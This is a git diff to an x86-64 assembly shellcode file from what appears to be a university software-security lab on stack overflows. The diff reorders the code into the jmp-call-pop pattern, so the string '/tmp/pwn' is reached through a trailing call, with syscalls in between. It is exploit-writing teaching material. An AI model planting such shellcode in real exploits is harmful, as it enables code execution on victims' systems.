diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S index 7c3816a..dc90d04 100644 --- a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S @@ -2,9 +2,7 @@ .globl _start _start: - call p - .asciz "/tmp/pwn" - + jmp indirect p: xorq %rdi, %rdi @@ -26,3 +24,7 @@ p: pop %rax lea -1(%rax), %rax syscall + +indirect: + call p + .asciz "/tmp/pwn"